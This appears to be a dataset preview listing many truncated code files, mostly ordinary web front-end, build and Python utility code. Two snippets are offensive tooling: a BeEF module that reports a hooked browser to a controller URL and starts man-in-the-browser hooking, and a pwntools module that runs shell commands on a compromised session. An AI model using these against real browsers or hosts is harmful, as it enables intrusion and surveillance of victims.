text stringlengths 3 1.05M |
|---|
const request = require('supertest');
const server = require('./server');
describe('server.js', () => {
describe('GET/', () => {
it('should return status code 200 its a go', async () => {
const res = await request(server).get('/');
expect(res.status).toBe(200);
});
it('should return JSON', a... |
import React from "react"
const ResourceCard = (props) => {
return (
<div className="resource-card">
<div className="initials-container">
<span>{props.abbreviation}</span>
</div>
<div className="info-container">
<h3><a aria-label={props.n... |
/*
* Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
* Browser Exploitation Framework (BeEF) - http://beefproject.com
* See the file 'doc/COPYING' for copying permission
*/
beef.execute(function() {
try{
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Browser hooked.");
beef.mitb.init("<%= ... |
const feathers = require('@feathersjs/feathers');
const setName = require('../../src/hooks/set-name');
describe('\'set-name\' hook', () => {
let app;
beforeEach(() => {
app = feathers();
app.use('/dummy', {
async create(data) {
return data;
},
});
app.service('dummy').hooks({... |
var express = require("express");
var bodyParser = require("body-parser");
var request = require("sync-request");
var url = require("url");
var qs = require("qs");
var querystring = require("querystring");
var cons = require("consolidate");
var randomstring = require("randomstring");
var app = express();
app.use(body... |
define(["knockout", "jquery", "text!components/sql-query/list.html"], function (ko, $, template) {
function viewModel(params) {
var self = this;
self.sqlQueries = ko.observableArray([]);
$.ajax({
url: "/api/sql-query/list",
type: "get",
contentType: "app... |
var canvasInited = false;
var graph = function(values, colors, names, cursor) {
var canvas = document.getElementById('canvas');
var ctx = canvas.getContext('2d');
var min = -1, max = 1;
for (var i = 0; i < values.length; i++) {
for (var j = 0; j < values[i].length; j++) {
if (values... |
var requestManager = require('../request-manager');
var merchantOrdersModel = require('../models/merchantOrdersModel');
/**
* This class will allow you to create and manage your orders. You can attach one or more payments in your merchant order.
* @namespace merchantOrders
*/
var merchantOrders = module.exports =... |
import React from 'react';
import { Card, Row, Col, Image, Tabs, Tab } from 'react-bootstrap';
import Skills from '../Skills';
//Export a card formatted for use on the landing page
export default function CenterCard(props) {
return (
<Card className="border-0">
<Card.Body>
<Row noGutters>
... |
import styled from 'styled-components'
export const GridAlumns = styled.div`
display:grid;
grid-template-columns : repeat(auto-fill,minmax(250px,250px));
justify-content:center;
grid-gap:1em;
`
export const StudentsContainer = styled.section`
width:90%;
padding : 1em 0 0 0;
box-sizing:border-box;
margin:... |
import React, { PropTypes } from 'react'
import { translate } from '../../../common/i18n'
const OfficialVersionWarning = ({ show }) =>
(show
? <div
style={{
bottom: '0px',
position: 'fixed',
zIndex: 9999,
background: '#c03',
color: 'white',
widt... |
"""'fasta_lib.py' Written by Phil Wilmarth, OHSU.
The MIT License (MIT)
Copyright (c) 2017 Phillip A. Wilmarth and OHSU
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, inclu... |
# Copyright (c) 2006-2012 Mitch Garnaat http://garnaat.org/
# Copyright (c) 2010-2011, Eucalyptus Systems, Inc.
# Copyright (c) 2011, Nexenta Systems Inc.
# Copyright (c) 2012 Amazon.com, Inc. or its affiliates.
# All rights reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of... |
"""Candle adapter for WebThings Gateway."""
import os
import sys
sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'lib'))
import time
from time import sleep
#from datetime import datetime, timedelta
#import traceback
#import asyncio
import logging
import urllib
import requests
import socket
im... |
# Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... |
/**
* @license
* Copyright Google Inc. All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
import { __decorate, __metadata, __param } from "tslib";
import { Attribute, Directive, Host, Input, TemplateRef, Vie... |
import React, {Component} from 'react';
import PropTypes from 'prop-types';
const withData = Container => class ContainerWrapper extends Component {
static defaultProps = {
getData: () => {},
clearState: () => {},
};
static propTypes = {
getData: PropTypes.func,
clearState... |
function realEstateAgency() {
$('#findOffer button').on('click', () => {
let $budget = $('#findOffer').children()[1];
let $type = $('#findOffer').children()[2];
let $name = $('#findOffer').children()[3];
if (+$budget.value > 0 && $type.value !== '' && $name.value !== '') {
let foundIndex = -1;
$('.apar... |
import { NavigationActions } from 'react-navigation';
import * as Type from '../actions';
import routesMap from '../../Navigation/routes';
const routeState = {
activeRoute: routesMap[0],
routes : routesMap,
navigator: null,
activeRouteKey: routesMap[0].name,
};
const routes = (state = routeState, action) => {... |
/*!
JSON API Error object
*/
export default function ({title, details, status, code, href, links, path, id}) {
// minimal info
this.object = {
title: title || 'Error',
details: details || 'An unknown error was fired by the application',
status: status || 400
};
// optional info: let's not pollute the error... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""A Raw socket implementation allowing any ethernet type to be used/sniffed.
If gevent is available, sockets are monkey patched and two additionnal asynchronous server implementations are available: :class:`RawAsyncServer`, :class:`RawAsyncServerCallback`
.. moduleautho... |
import React from 'react'
import {rrfField} from 'utils/Util'
import {actions} from 'react-redux-form'
import {Button, Icon} from 'semantic-ui-react'
const ItoNFieldSet = ({
model,
relTitle,
relName,
dispatch,
entity,
renderRecord,
newRecord = {}
}) => {
const relData = model[relName] || []
const onA... |
#!/usr/bin/env python
__author__ = "Ilya Baldin"
__version__ = "0.1"
__maintainer__ = "Ilya Baldin"
import uuid
from pyforms.basewidget import BaseWidget
from pyforms.controls import ControlText
from pyforms.controls import ControlButton
from pyforms.controls import ControlTextArea
from pyforms.controls import Cont... |
import React, { Component } from "react";
import ReleaseSalesComponent from "./ReleaseSalesComponent";
import axios from "axios";
import {
Url,
Controllers,
Queries
} from "./../../../../constants/UrlConstants";
import { NotificationContext } from "./../../../../contexts/NotificationContext";
class ReleaseSalesC... |
function solve() {
const addBtn = document.getElementsByTagName('button')[0];
addBtn.addEventListener('click', add);
function add(e) {
e.preventDefault();
const lectureName = document.getElementsByName('lecture-name')[0];
const date = document.getElementsByName('lecture-date')[0];
... |
import os
import tarfile
import collections
from torchvision.datasets.vision import VisionDataset
import xml.etree.ElementTree as ET
from PIL import Image
from typing import Any, Callable, Dict, Optional, Tuple, List
from torchvision.datasets.utils import download_and_extract_archive, verify_str_arg
import warnings
im... |
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId]) {
/******/ re... |
/**
* Webpack config for production electron main process
*/
import webpack from 'webpack';
import merge from 'webpack-merge';
import UglifyJSPlugin from 'uglifyjs-webpack-plugin';
import { BundleAnalyzerPlugin } from 'webpack-bundle-analyzer';
import baseConfig from './webpack.config.base';
import CheckNodeEnv from... |
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the Lic... |
import React, { Component } from "react";
import Login from "./Login";
import SignUp from "../signup/SignUp";
import Navbar from "../Navbar/Navbar";
//import Contact from "../Contact/Contact";
import Singapore from "../Singapore/Singapore";
import Dashboard from "../Dashboard/Dashboard";
import Add from "../Add/Add";
i... |
/* ========================================================================
* Bootstrap: collapse.js v3.2.0
* http://getbootstrap.com/javascript/#collapse
* ========================================================================
* Copyright 2011-2014 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/boo... |
const n=(n,o)=>null!==o.closest(n),o=(n,o)=>"string"==typeof n&&n.length>0?Object.assign({"ion-color":!0,[`ion-color-${n}`]:!0},o):o,r=n=>{const o={};return(n=>void 0!==n?(Array.isArray(n)?n:n.split(" ")).filter((n=>null!=n)).map((n=>n.trim())).filter((n=>""!==n)):[])(n).forEach((n=>o[n]=!0)),o},t=/^[a-z][a-z0-9+\-.]*:... |
/**
* Hydrogen Nucleus API
* The Hydrogen Nucleus API
*
* OpenAPI spec version: 1.9.5
* Contact: info@hydrogenplatform.com
*
* NOTE: This class is auto generated by the swagger code generator program.
* https://github.com/swagger-api/swagger-codegen.git
*
* Swagger Codegen version: 2.2.3
*
* Do not edit the... |
export const SET_LOADING = 'SET_LOADING'
export const CLEAR_LOADING = 'CLEAR_LOADING'
export const SET_ERROR = 'SET_ERROR'
export const CLEAR_ERROR = 'CLEAR_ERROR'
export const SET_SUCCESS = 'SET_SUCCESS'
export const CLEAR_SUCCESS = 'CLEAR_SUCCESS'
|
const URL = require('url').URL
const getOriginFromUrl = (urlString) => {
const url = new URL(urlString)
return `${url.origin}`
}
const getWebAgentLink = (origin, agentid) => {
return `${origin}/${agentid}`
}
const getWebDatasetLink = (origin, agentid, datasetid) => {
return `${origin}/${agentid}/${datasetid}... |
// This optional code is used to register a service worker.
// register() is not called by default.
// This lets the app load faster on subsequent visits in production, and gives
// it offline capabilities. However, it also means that developers (and users)
// will only see deployed updates on subsequent visits to a p... |
// @flow
import * as React from "react";
import CodeBlock from "../../../../components/CodeBlock";
import Emoji from "../../../../components/Emoji";
import ImgBlock from "../../../../components/ImgBlock";
import LayoutContent from "../../../../components/LayoutContent";
import Link from "../../../../components/Link";... |
#!/usr/bin/python3
from pwn import *
def execute(session, configs, params):
if not params:
print(cs.status, "Usage: command [command]")
return 1
try:
shell = session.shell("/bin/bash")
shell.sendline(params)
output = str(shell.recvrepeat(0.2), "UTF-8")
shel... |
/**
* Copyright IBM Corp. 2019, 2020
*
* This source code is licensed under the Apache-2.0 license found in the
* LICENSE file in the root directory of this source tree.
*
* Code generated by @carbon/icon-build-helpers. DO NOT EDIT.
*/
import { _ as _objectWithoutProperties, I as Icon, a as _extends } from '../I... |
sap.ui.define([
"sap/ui/core/util/MockServer",
"sap/ui/model/json/JSONModel",
"sap/base/Log",
"sap/base/util/UriParameters"
], function (MockServer, JSONModel, Log, UriParameters) {
"use strict";
var oMockServer,
_sAppPath = "com/mjzsoft/FileUploader0Auto/",
_sJsonFilesPath = _sAppPath + "localService/mockda... |
'use strict';
// Webpack
const webpack = require('webpack')
// Final Config
module.exports = {
entry: './src/transport/ui/templates.js',
output: {
filename: 'lib/transport/ui/templates.js',
libraryTarget: 'umd',
umdNamedDefine: true
},
module: {
rules: [
{
test: /\.(gif|png|jpe?g|... |
from abc import ABCMeta
from abc import abstractmethod
import numpy as np
class Bandit(metaclass=ABCMeta):
"""
Base abstract class to inherit from for Multi-Armed-Bandits implementations.
Arm ids are 0-based indexed.
"""
def __init__(self, num_arms):
self.num_arms = num_arms
@abstra... |
//
// Copyright (c) 2019 Autodesk, Inc.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publ... |
"""Numerical approximations."""
class ApproximateMixin:
def ladder_ptransp(self, x, y, v, method, n_steps):
"""Perform an approximate parallel transport.
Marco, Lorenzi, and Xavier Pennec. "Parallel transport with Pole
ladder: Application to deformations of time series of images."
... |
!function($){"use strict";var Typed=function(el,options){this.el=$(el);this.options=$.extend({},$.fn.typed.defaults,options);this.baseText=this.el.text()||this.el.attr('placeholder')||'';this.typeSpeed=this.options.typeSpeed;this.startDelay=this.options.startDelay;this.backSpeed=this.options.backSpeed;this.backDelay=th... |
from collections import OrderedDict
from board import Board
class TranspositionTable(OrderedDict):
"""
LRU Cache with limited capacity. Removes least recently used when full.
Source: https://docs.python.org/3/library/collections.html#collections.OrderedDict
"""
def __init__(self, maxsize, *args,... |
const fs = require('fs')
const path = require('path')
module.exports = (api, options, rootOptions) => {
// 修改 `package.json` 里的字段
api.extendPackage({
scripts: {
'build:api': 'vue-cli-service nei-api-get',
'update:api': 'vue-cli-service nei-api-update',
'build:icon': 'vue-cli-service icon-get'... |
# Autogenerated file for Azure IoT Hub
# Add missing from ... import const
_JD_SERVICE_CLASS_AZURE_IOT_HUB = const(0x19ed364c)
_JD_AZURE_IOT_HUB_CMD_SEND_MESSAGE = const(0x82)
_JD_AZURE_IOT_HUB_CMD_CONNECT = const(0x80)
_JD_AZURE_IOT_HUB_CMD_DISCONNECT = const(0x81)
_JD_AZURE_IOT_HUB_REG_CONNECTION_STATUS = const(0x180... |
// other themes can be imported to use as an extension
// import baseTheme from 'demo-theme/src/gatsby-theme-ui'
// console.log('base theme', typeof baseTheme, baseTheme)
const heading = {
fontFamily: "heading",
fontWeight: "heading",
lineHeight: "heading"
}
const deep = {
initialColorMode: "light",
colors:... |
module.exports = function (grunt) {
require("matchdep").filterDev("grunt-*").forEach(grunt.loadNpmTasks);
grunt.initConfig({
pkg: grunt.file.readJSON("package.json"),
coffee: {
lib: {
options: { bare: false },
files: {
"morris.js": ["build/morris.coffee"],
},
}... |
import {
toolsStatisticsData,
myToolsNameListData,
toolsTypeListData
} from "../mock/APPLY/Tools/dataStatistics.js";
import {
queryGroup,
queryToolsNameList,
toolsTypeGroup
} from "../services/dataStatistics";
export default {
namespace: "toolsStatistics",
state: {
groupData: {},
myToolNameGrou... |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
function _helperPluginUtils() {
var data = require("@babel/helper-plugin-utils");
_helperPluginUtils = function _helperPluginUtils() {
return data;
};
return data;
}
function _pluginSyntaxFunctionSe... |
g_db.quests[7007]={id:7007,name:"^ffffffPerfect Gift Pack",type:0,trigger_policy:0,on_give_up_parent_fail:1,on_success_parent_success:0,can_give_up:0,can_retake:1,can_retake_after_failure:1,on_fail_parent_fail:0,fail_on_death:0,simultaneous_player_limit:0,ai_trigger:0,ai_trigger_enable:0,auto_trigger:0,trigger_on_death... |
YUI.add('moodle-tool_capability-search', function (Y, NAME) {
/**
* This file contains the capability overview search functionality.
*
* @module moodle-tool_capability-search
*/
/**
* Constructs a new capability search manager.
*
* @namespace M.tool_capability
* @class Search
* @constructor
* ... |
import pytest
from eth_account._utils.transaction_utils import (
_access_list_rlp_to_rpc_structure,
_access_list_rpc_to_rlp_structure,
)
# access list example from EIP-2930
RLP_STRUCTURED_ACCESS_LIST = [
(
'0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae',
(
'0x000000000000000000000... |
import fs from 'fs';
import path from 'path';
import dedent from 'dedent-js';
import { padEnd } from 'lodash';
import ui from '../lib/cli/ui';
import Command from '../lib/cli/command';
import Project from '../lib/cli/project';
export default class DestroyCommand extends Command {
static commandName = 'destroy';
s... |
window.addEventListener('load', function(){
if(document.getElementById('input-name')){
document.getElementById('input-name').disabled = true;
document.getElementById('input-lastname').disabled = true;
document.getElementById('delivery_address').disabled = true;
document.getElementBy... |
import torch
import torch.nn as nn
from torch.nn import functional as F
from architecture.network import Conv2d
import torchvision
import numpy as np
class MCNN(nn.Module):
'''
Multi-stream crowd counting network, inspired in the work of Zhang et al.
'''
def __init__(self, bn=False):
super... |
"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { t... |
# -*- coding: utf-8 -*-
"""
Support for ``pkgng``, the new package manager for FreeBSD
.. important::
If you feel that Salt should be using this module to manage packages on a
minion, and it is using a different module (or gives an error similar to
*'pkg.install' is not available*), see :ref:`here
<mod... |
const fs = require("fs");
function FileIO() {}
FileIO.prototype.read = function(file) {
return fs.readFileSync(file, "utf8");
};
FileIO.prototype.write = function(path, data) {
return fs.writeFileSync(path, data);
};
FileIO.prototype.append = function(file, data) {
return fs.appendFileSync(file, data);
};
mo... |
/* globals f0 */
function f1() {
/* head */
"1";
/* mid */
"2";
/* tail */
}
function f2() {
// head
"1";
// mid
"2";
// tail
}
function f3() {
if ("1") { // begin block
"1";
}
"2"; // trailing
if (/* s */"3"/*e*/) {
"4";
}
}
|
#!/usr/bin/python
import subprocess
import threading
import multiprocessing
import os
conf_str_all_to_allN = '''init_cwnd: 2
max_cwnd: 30
retx_timeout: 450
queue_size: 1048576
propagation_delay: 0.0000002
bandwidth: 100000000000.0
queue_type: 6
flow_type: 6
num_flow: {0}
num_hosts: {4}
flow_trace: ./CDF_{1}.txt
cut_t... |
const mongoose = require('mongoose');
let noteSchema = new mongoose.Schema({
title: String,
body: String,
created_at: {type: Date, default: Date.now},
updated_at: {type: Date, default: Date.now},
author: {
type: mongoose.Schema.Types.ObjectId,
ref: 'User',
required... |
/// Copyright (c) 2012 Ecma International. All rights reserved.
/// Ecma International makes this code available under the terms and conditions set
/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
/// "Use Terms"). Any redistribution of this code must retain the above
/// copyright an... |
const ethUtil = require('ethereumjs-util')
const { conversionUtil, multiplyCurrencies } = require('../../conversion-util')
const MIN_GAS_PRICE_DEC = '0'
const MIN_GAS_PRICE_HEX = (parseInt(MIN_GAS_PRICE_DEC)).toString(16)
const MIN_GAS_LIMIT_DEC = '21000'
const MIN_GAS_LIMIT_HEX = (parseInt(MIN_GAS_LIMIT_DEC)).toStrin... |
const eslintConfig = require("@keeex/eslint-config");
const config = eslintConfig({typescript: "./tsconfig.json"});
config.overrides = config.overrides || [];
config.overrides.push({
files: ["src/tests/**/*"],
env: {mocha: true},
plugins: ["mocha"],
});
module.exports = eslintConfig({typescript: "./tsconfig.json"... |
class BlueprintDocsService {
boot (options) {
this.storage = options.bootedServices
const models = options.bootedServices.storage.models
this.blueprintDocDao = models.tymly_blueprintDoc
}
/**
* During boot-up a blueprint might like to throw some documents into storage (e.g. some relevant roles or... |
import GroundCombat from '../../classes/GroundCombat';
import {Mod,Modlist} from '../../classes/Mods';
export class GroundCombatPane {
constructor() {
this.combat = null;
this.processing = false;
this.turn_delay = 500; // ms
this.last_turnlog = { attacker: null, defender:null };
this.combat_speed = 0.5; /... |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoicG9kbG92ZS13ZWItcGxheWVyLXN0b3JlLWFjdGlvbiBjb3B5LmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vLi4vc3JjL3R5cGVzL3BvZGxvdmUtd2ViLXBsYXllci1zdG9yZS1hY3Rpb24gY29we... |
/*
Copyright (c) 2004-2016, The JS Foundation All Rights Reserved.
Available via Academic Free License >= 2.1 OR the modified BSD license.
see: http://dojotoolkit.org/license for details
*/
//>>built
define("dojo/cldr/nls/fr/coptic",{"field-quarter-short-relative+0":"ce trim.","field-quarter-short-relative+1":"le t... |
#Uses python3
import sys
# Return the trie built from patterns
# in the form of a dictionary of dictionaries,
# e.g. {0:{'A':1,'T':2},1:{'C':3}}
# where the key of the external dictionary is
# the node ID (integer), and the internal dictionary
# contains all the trie edges outgoing from the corresponding
# node, and t... |
// All material copyright ESRI, All Rights Reserved, unless otherwise specified.
// See http://js.arcgis.com/3.15/esri/copyright.txt and http://www.arcgis.com/apps/webappbuilder/copyright.txt for details.
//>>built
define({"widgets/ParcelDrafter/nls/strings":{_widgetLabel:"Byggnadsutf\u00e4rdare",newTraverseButtonLa... |
YUI.add("lang/datatype-date-format_fr",function(e){e.Intl.add("datatype-date-format","fr",{a:["dim.","lun.","mar.","mer.","jeu.","ven.","sam."],A:["dimanche","lundi","mardi","mercredi","jeudi","vendredi","samedi"],b:["janv.","f\u00e9vr.","mars","avr.","mai","juin","juil.","ao\u00fbt","sept.","oct.","nov.","d\u00e9c."],... |
import { __decorate, __metadata } from 'tslib';
import { Platform, PlatformModule } from '@angular/cdk/platform';
import { DOCUMENT, CommonModule } from '@angular/common';
import { EventEmitter, Component, ChangeDetectionStrategy, ViewEncapsulation, ElementRef, Inject, NgZone, Renderer2, ChangeDetectorRef, Optional, Vi... |
import bootstrapRouting from 'torii/bootstrap/routing';
import { getConfiguration } from 'torii/configuration';
import getRouterInstance from 'torii/compat/get-router-instance';
import getRouterLib from 'torii/compat/get-router-lib';
import "torii/router-dsl-ext";
export default {
name: 'torii-setup-routes',
initi... |
def f(x):
assert x < 0, 'x must be negative'
return x ** 2
|
import PropTypes from 'prop-types';
import React from 'react';
import classNames from 'classnames';
import { formatTime } from '../../utils';
const propTypes = {
player: PropTypes.object,
className: PropTypes.string,
};
function RemainingTimeDisplay({ player: { currentTime, duration }, className }) {
const rem... |
function my_function229(){
//87901863686596974230591905664821kIxBEZMFMjGkfGwvVahSaCZJakmDrcQU
}
function my_function571(){
//95618785583612315977406357134325VxVNtTfdVpwBneAuwhXkMaYVHNRRzCSa
}
function my_function701(){
//63936316170738161004949328518530CCRhdSnEIoFZYYrypKStLHqfzeekKycP
}
function my_function467(){
/... |
// -------------------------
// module_builtin.js - Node.js by Node.js builtin
// Step11-test:
// - callBuiltinByName
// -------------------------
'use strict'
const loadAndParseSrc = require('./module_parser_extra3.js');
const println = require('./module_println.js');
const printObj = require('./module_printobj.js')... |
import styled from 'styled-components/native';
import { ActivityIndicator } from 'react-native';
import { darken } from 'polished';
import { RectButton } from 'react-native-gesture-handler';
import Shimmer from 'react-native-shimmer-placeholder';
export const Container = styled.View`
background: #fff;
justify-cont... |
/**
* covid19MockData.js
* Created by Jonathan Hill 07/14/20
*/
const mockSubmissions = [
{
certification_due_date: "2020-08-14T00:00:00Z",
is_quarter: false,
period_end_date: "2020-04-30T00:00:00Z",
period_start_date: "2020-04-01T00:00:00Z",
submission_due_date: "2020-05... |
/**
* Icelandic translation for bootstrap-datepicker
* Hinrik Örn Sigurðsson <hinrik.sig@gmail.com>
*/
;(function($){
$.fn.datepicker.dates['is'] = {
days: ["Sunnudagur", "Mánudagur", "Þriðjudagur", "Miðvikudagur", "Fimmtudagur", "Föstudagur", "Laugardagur", "Sunnudagur"],
daysShort: ["Sun"... |
from django.db import models
from django.contrib.auth.models import AbstractBaseUser
from django.contrib.auth.models import PermissionsMixin
from django.contrib.auth.models import BaseUserManager
class UserProfileManager(BaseUserManager):
"""Manager for user profiles"""
def create_user(self, email, name, pas... |
const express = require('express');
const path = require('path');
const db = require('./config/keys');
const session = require('express-session');
const flash = require('connect-flash');
const SessioStore = require('connect-mongodb-session')(session);
const bodyParser = require('body-parser');
// Init app
const app = ... |
import { header } from "./layout.module.css"
export default function Layout({ children }) {
return (
<div>
{ children }
</div>
)
} |
TripOrganizer.TripList = OpenLayers.Class({
listId: null,
map:null,
tripLayer:null,
trips: null,
centroidDisplayer: null,
imageLoader: null,
carousel: null,
nextBtnActive: null,
initialize: function(listId,map,tripLayer,clayer,options){
OpenLayers.Util.extend(this, options)... |
export default class Saved {
constructor() {
this.saved = [];
}
addLocation(id) {
this.saved.push(id)
this.saveLocal()
return id;
}
checkifSaved(id) {
return this.saved.findIndex(el => el === id) !== -1;
}
checkSaved() {
return this.saved.length;
}
saveLocal() {
local... |
import React from 'react'
import Product from './Product'
import Title from './../globals/Title'
import { StaticQuery, graphql } from 'gatsby'
const getProducts = graphql`
{
products:allContentfulCoffeeProduct {
edges {
node {
id
title
price
image {
fluid( maxHeight: 426 ) {
src
...G... |
/**
* @file
* @copyright 2013 Michael Aufreiter (Development Seed) and 2016 Yahoo Inc.
* @license Licensed under {@link https://spdx.org/licenses/BSD-3-Clause-Clear.html BSD-3-Clause-Clear}.
* Github.js is freely distributable.
*/
import Requestable from './Requestable';
import Utf8 from 'utf8';
i... |
self.__precacheManifest = (self.__precacheManifest || []).concat([
{
"revision": "0a149412d2f0f1677dfb",
"url": "https://cdn.jsdelivr.net/gh/lin09/dist/oos/css/app.109a6ca5.css"
},
{
"revision": "037289f5a28616058cffaf8366b2a7ad",
"url": "https://cdn.jsdelivr.net/gh/lin09/dist/oos/img/logo.037289f... |
(window["webpackJsonp"] = window["webpackJsonp"] || []).push([[11],{
/***/ "./frontend/src/@core/components/toastification/ToastificationContent.vue":
/*!********************************************************************************!*\
!*** ./frontend/src/@core/components/toastification/ToastificationContent.vue *... |
import tkinter as tk
import subprocess as sp
import imageio
import sys
from PIL import Image, ImageTk
def device_index(index):
video_name = (f"<video{index}>")
video = imageio.get_reader(video_name)
return video
# generate frames from a cam input
def frame_generator(video):
for frame, image in enu... |
!function(){"use strict";var bind=function(a,b){var c=Array.prototype.slice.call(arguments,2);return function(){var d=c.concat(Array.prototype.slice.call(arguments,0));a.apply(b,d)}};window.console||(window.console={});var console=window.console;if(!console.log)if(window.log4javascript){var log=log4javascript.getDefaul... |
require('dotenv').config();
const { Client } = require('../src');
const client = new Client({ intents: ['GUILDS'] }, { baseDir: './test' });
client.login().then(() => console.log('Connected'));
|
import psycopg2
class DBManager:
def __init__(self, dbname: str, user: str, password: str):
self.dbname = dbname
self.user = user
self.password = password
self.is_connected = False
def create_connection(self):
self.connection = psycopg2.connect(dbname=self.dbname, use... |
// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in ... |
/**
* flowground :- Telekom iPaaS / ebay-com-buy-browse-connector
* Copyright © 2019, Deutsche Telekom AG
* contact: flowground@telekom.de
*
* All files of this connector are licensed under the Apache 2.0 License. For details
* see the file LICENSE on the toplevel directory.
*/
const processWrapper = require('.... |
from django.contrib import admin
# from .models import related models
from .models import CarMake, CarModel
# Register your models here.
# CarModelInline class
class CarModelInline(admin.StackedInline):
model = CarModel
# CarModelAdmin class
class CarModelAdmin(admin.ModelAdmin):
fields = ['carMake', 'deale... |
const body = document.querySelector("body");
const navbar = document.querySelector(".navbar");
const menuBtn = document.querySelector(".menu-btn");
const cancelBtn = document.querySelector(".cancel-btn");
menuBtn.onclick = () => {
navbar.classList.add("show");
menuBtn.classList.add("hide");
body.clas... |